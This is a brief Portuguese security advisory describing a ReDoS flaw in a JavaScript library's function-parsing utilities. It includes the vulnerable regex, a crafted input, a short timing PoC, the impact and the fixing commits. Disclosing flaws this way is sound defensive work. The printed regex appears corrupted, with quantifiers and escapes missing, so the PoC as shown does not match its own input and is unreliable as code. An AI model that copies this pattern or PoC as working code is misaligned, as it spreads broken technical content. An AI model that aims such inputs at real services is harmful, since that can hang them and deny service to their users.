
redos
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
Esta vulnerabilidade pode ser explorada quando há um desequilíbrio nos parênteses, o que resulta em backtracking excessivo e, consequentemente, aumenta significativamente a carga da CPU e o tempo de processamento. Esta vulnerabilidade pode ser desencadeada usando a seguinte entrada:
'function{' + 'n'.repeat(31) + '){'
Aqui está um código PoC simples para demonstrar o problema:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
Impacto
Passar funções com nomes muito longos ou nomes de argumentos padrão complexos para function#copy ou function#toStringTokens pode travar o script.
Correções Corrigido com 3551cdd e a52e957 Publicado com v0.10.63
Soluções Alternativas Não há solução alternativa real além de evitar o uso das utilidades acima.